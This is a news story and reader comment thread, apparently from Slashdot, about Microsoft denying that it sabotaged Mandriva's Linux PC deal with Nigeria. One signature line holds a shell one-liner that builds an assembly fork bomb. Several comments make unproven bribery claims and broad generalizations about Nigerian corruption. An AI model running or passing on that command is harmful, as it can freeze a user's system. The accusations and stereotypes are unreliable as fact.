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Microsoft Denies Sabotaging Mandriva Linux PC Deal
An anonymous reader writes "Microsoft has denied sabotaging Mandriva's deal with the Nigerian government to supply Classmate PCs from Intel along with a customized Mandriva Linux operating system. 'From Microsoft's perspective it's a matter of choice. In the statement sent to InternetNews.com, Microsoft said it believes individuals, governments and other organizations should be free to choose the software and other technologies that best meet their needs. "We are seeing strong market demand for Windows on low-cost devices to help governments in the areas of education, local innovation, and jobs and opportunity," the Microsoft spokesperson said in the statement.' The company's denial is in response to Mandriva's CEO Francois Bancilhon expression of disappointment with Microsoft."
"Microsoft has a strong relationship with the government in Nigeria and will continue to partner with government and industry to help meet their needs,"
How about "Microsoft has a strong relationship with the government and people in Nigeria and will continue to help meet their needs" ?
"Microsoft said it believes individuals, governments and other organizations should be free to choose the software and other technologies that best meet their needs"
That choice is Vista Basic, Vista Home Premium, Vista Business, Vista Ultimate. Microsoft will do anything to make sure that they get a stronghold in emerging markets, they don't care what's best for the user (of course sometimes windows is the best option, doesn't mean it is all the time)
"Microsoft has strong (relatively cheap) relationship with the government in Nigeria and will continue to give them cash."
Well, they can't afford for whole countries to escape the Windows hegemony.. It makes "business sense" for Microsoft to 'gift' or 'donate' whole slews of Windows licenses to a government to keep them in the fold. So then everyone else will need Microsoft to interoperate with them.
Their whole argument of "people should be free to choose the best software for the task" is a little tongue in cheek. After all, the initial procurement was probably far more lengthy and in depth than the quick 'jerk' reaction to taking MS on board afterwards. They did probably buy what was best for their requirements in the first place.
It would be interesting to see what laws on software dumping are present in Nigeria (not many, I'd estimate), so yes, they're obeying Nigerian law. Not necessarily the law as applies to the country that any given reader may be in.
So, they can happily state that while engaging in business practices that are illegal in countries other than the one they are making that transaction.
This kind of U turn (and added expenditure, if obeying the normal laws of the Western World) is not really possible without "greasing the wheels"..
Smoke and mirrors once again, Microsoft.
"We are seeing strong market demand for Windows on low-cost devices ..."
And so they respond with ending Win98 and WinXP while pushing Vista in spite of the fact that the vast majority of users don't want it?
I suppose by "their needs" they mean "Microsoft's needs". And the government has money and power, the people don't.
Yes, business can be cutthroat at times, but when you get a tiny competitor's product to not be used even after being ordered by the customer and yours to replace it, things seem highly suspect. Since this is in Nigeria I presume no anti-trust actions will occur, but the relevant officials should take note.
I used to feel that way until I saw the Search Doggy in XP. How can you dislike a company that makes an OS with a Search Doggy?
http://www.google.com/search?hl=en&q=xp+search+dog&btnG=Google+Search
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
But if they say it wasn't them, it must be one of those freak events we keep reading about in News of the World.
May contain traces of nut.
Made from the freshest electrons.
To an extent this is moot since the investigation will proceed at a glacial pace and by the time that it concludes it will all be a done deal.
the fox denied eating the chicken.
"Blood? What blood? Thats not chicken blood,
it is ketchup. I am a vegetarian!"
Thomas
Cmon, for a PR persn,that is effectivly an admission of guilt, with a statement of "too bad, it is not illegal" tacked on.
"Microsoft has denied sabotaging Mandriva's deal with the Nigerian government..."
Then why is the Nigerian Government still paying Mandriva for the contract they was happy with (and still appear to be happy with it)? This is so obviously MS bunging them money AFTER they lost the fight, and telling them "Here you are, here is a few million to get rid of that and install Windows - we will pay for the loss".
I've been reading the comments here and the comments on the previous article, and I'm surprised to see something missing.
Show of hands:
1. Who knows that Nigeria is an oil producing nation?
2. Who knows the Nigerian people see barely a thin dime of the money?
The government of Nigeria has shown itself to be easily corrupted at the expense of the people. See wikipedia and read the part about the government. It's not hard to imagine something crooked going on with this.
Any word on how M$ is going to avoid massive amounts of pirating of software by unleashing their steaming pile of OS on a 3rd world nation? Or do they just assume that everybody there will pirate the stuff anyway so they just want to "sell" a few licenses in the process?
Brings a new meaning to the words "Nigerian Scammer".
12 or so years ago the days I sysadmined in an educational/research outfit in Eastern Europe. There was a 100% correlation between the so called local Microsoft rep for Education knowing about a shipment with Unix kit and the kit stolen at the cargo terminal. This was before the days of CCTV in the cargo areas at Sofia Airport so the interested parties had on the average between 2 and 12 hours to deal with all interesting containers and packages before they went through customs. In order to do that they needed one thing - to know which container is interesting.
Once we made sure that the aforementioned individual no longer had any information the shipments started arriving unmolested (not counting a dent or two in transit).
On top of that the aforementioned rep was handing out cracked copies of MSFT products the way drug dealers hand out cocaine laced candy to kids to anyone who wanted them.
This all continued until the country economy picked up enough. And then, you know the drill... Bill Gates having a meeting with the president on the subject of rampant software piracy and so on. The rep went to work elsewhere and claimed that he never ever had any relation with Microsoft. And so on...
Nuff said. No further comment necessary.
Baker's Law: Misery no longer loves company. Nowadays it insists on it
http://www.sigsegv.cx/
I've seen cases like this before in the hardware business. Not very often, but it does happen occasionally. After a long hard sales cycle, Neal Nanotech decides to buy something from that hot new startup, Tyrell Corpration. The sales team from Cyberdyne Systems decides that they can't afford to lose NN as a customer, since they'll lose not only future sales and the income from the maintenance contract, but Tyrell will be able to use NN as a refernce in future ad campaigns. So, there's one last big push to a Senior VP, the President, or even the CEO. Typically, Cyberdyne offers a trade-in allowance for all of the Tyrell product at NN's full purchase price, while discounting Cyberdyne's prduct just enough to equal the trade-in. This way, NN isn't out any money (at least not initially) while Cyberdyne avoids violations of any anti-dumping laws. Cyberdyne then sends the brand-new Tyrell products straight to the recycling center. (Or maybe they resell it on eBay, with a good long offer period. "Look here, Mr. Potential Customer! How good can Tyrell's product be if people are dumping unopened boxes of it on eBay?")
Nothing for 6-digit uids?
How much Fear Uncertainty, Confusion, Extortion, and Doubt will be needed to maintain the revenue growth? (Someone please give me a good K-word to make a good acronym to upgrade FUD).
sed -e 's/Chuck Norris/Rajnikant/g' joke > fact
1. Union Carbide
2. Monsanto
3. British East India Company. Well, not exactly modern, but known.
Chat with other atheists http://secularchat.org
The interesting point is that Microsoft cared to reply to Mandriva. I thought that such a huge mastodonte as Microsoft don't care about small businesses like Mandriva. I find that the mere fact that Microsoft replied something is interesting.
It's because they can smell a big huge stinky rat. There had been lengthy trials of both the OLPC and Classmate, and they chose a localised Mandriva PC over all comers from these lenthy trials, satisfied to the point of buying thousands. Then, once the deal is made, sealed and out the door, they decide the lengthy trials where MS competed and lost were wrong, and they needed an additional Microsoft software against their initial recommendations. It just stinks that they were offered the MS version, rejected it for an alternative, went through and purchased the alternative and then went back and changed their minds for additional cost to lock themselves into the MS monopoly.
BULLSHIT.
In one conversation I had with my Nigerian-born business partner (OK stop laughing I'm serious. He's been a naturalized citizen for ten years, is a Christian, the son of a pastor, and I know one of his brothers as well. He's good people.) I learned that it's very much like India multiplied in that no decisions are made without palms being greased. I also learned that Nigerians who come to America will not do business with other Nigerians due to the level of corruption. It's not that all Nigerians are corrupt, it's just that corruption is so pervasive that they don't trust one another.
(Interesting thing about him: he's very suspicious, is more pro-American than most native-born Americans, gets far more involved in politics than most of us do, and yet when he sees evil going on in this country he doesn't complain. He just laughs and says evil people will do evil things, and what can be accomplished by talking about it and then continues on with his work. As an aside, he's the most productive worker I've ever encountered as well.)
My guess? Some official initially chose Linux as the sensible solution, and then Microsoft's money greased a high-level official's palms. I don't think it's necessarily Microsoft that did it, but a third party (plausible deniability, elimination of a paper trail involving even swag, etc.) which somehow benefits from the sale of Windows rather than installation of a(n) (inexpensive|free)/free OS.
The Christian Right is Neither (Christian nor right). See: Matthew 23, Matthew 25, Ezekiel 16:48-50
How many companies out there care for what's "best for the user" if it doesn't involve their products?
Beware: In C++, your friends can see your privates!
Perhaps - but they done it and got caught, and now forever under the eye... and other companys see that and be clean... ...BUT MS do it all the time. The buying votes/rigging voting in the ooXML ISO fiasco, which now seems to have brought the whole ISO process to a halt. This latest Nigerian issue. The MS funded BBC DRM iPlayer. SCO case. the list goes on and on and on. Just look at the any of the past dealings MS are involved in and all have the element of unethical and immoral practices. All of them.
And they don't stop - and never will, as that is the only way MS can compete in the market.
We know from the letter, that the devices will be shipped with Mandriva Pre-installed. And that Mandriva has already been paid. It also seems likely that money has already changed hands in favor of the Nigerian government to support this "sudden change of heart".
Now, suppose you are one of the teachers that evaluated, and "qualified" the mandriva solution that comes pre-installed on the laptops, and you get this CD that says "Take 200 hours and install this untested, mystery OS on all 200 of your schools laptops, destroying the one you are already familiar with." How likely are you to actually comply? Will it come to MS deploying goons to ensure the software gets installed?
From a country that specializes in "Wire us some $$$ and you will be rich", it may be the case that MS marketing drones may be experiencing the joys of an industrial-scale 419 scam.
Usage: fortune -P [-f] -a [xsz] Q: file [rKe9] -v6[+] file1
Mandriva didn't have an office in west Africa until January of this year.
In contrast, Microsoft has hundreds of millions of users world-wide, directly employs 31,000 people abroad and has billions to spend on development projects in Africa and elsewhere in the third world.
A search of allAfrica.com" returns 1,300 hits for Microsoft and Nigeria in English alone.
Dismiss as many of these stories as you like as PR. The reality remains that to a Financial Minister, the Minister of Education, a partnership with Microsoft can make very good sense.
NGLUG, the Nigerian Linux Users Group presents an earnest face. But stories such as these suggest that Linux has a long way to catch up with Microsoft in West Africa:
Linux girl bags first Novell certification in Nigeria [2005]
"You are the first Lady CLE in Africa and the first CLE in Nigeria - you have the highest mark so far amongst the other CLE's in Africa including South Africa."
"Linux Accademy of Nigeria has not started training and I have not found someone who knows when they will start." [August 2007]
...when they realize that those 1 GB Mandriva Classmate PCs will need a 2GB flash chip to run Microsoft crapware.
More than 60,000 Windows programs won't run on Linux.
Microsoft doesn't have any sense of ethics. They have a pervasive psychopathic corporate culture and it starts right at the top. Balmer himself flew to Germany in an effort to sway the IBM/Munchen deal after it was signed with 'special offers', which to me is an attempt at bribery, but a psychopath won't see it that way.
Excuse me, but please get off my Pennisetum Clandestinum, eh!
That Microsoft had to hold it's nose and actually respond to a Linux company.
This is akin to how US presidents don't meet with terrorists and nutty generals. Even heads of state that they greatly disapprove of. It lends legitimacy in the eyes of the world.
The fact that ANY Linux company could say something, and instead of ignoring it. Microsoft feels it actually has to defend itself. All in the name of choice and fair market.
They are so droll.
vi +
Now the kids will be learning only how to use one platform and its ways of doing things, most likely. I mean, it is certainly possible to teach "how to use a computer" without emphasizing Windows or Linux or Mac terms and specifics and making more reference to logical use of UI, what input/output are, etc., but most computer teachers in elementary schools are just whichever teacher is best at figuring out email, so they don't really know how to teach. Instead, the kids will just learn how Windows works by memorizing series' of clicks which don't translate to other platforms.
look! it's a bird, it's a plane, it's....a girl? yes, a girl browsing Slashdot on Linux
Anyone stop to think Nigeria is the one pulling the strings here, not MS. I'm sure the Nigerian government was approached by MS before they decided to go with Mandriva. So why would they bait and switch? If they went with MS first they would pay top dollar. So they choose Mandriva to bait MS, then MS comes begging for them to use their OS. My guess MS gave them some sweet deal, either support and/or reduced or free software. Nigeria is not a innocent country by any means, they are one of the most corrupt governments on the planet. No matter what you think of MS Nigeria is worse! Also, don't play the sympathy card "they are a developing nation". They are a developing nation because their government is corrupt from the all the oil money they take.
Iraq billions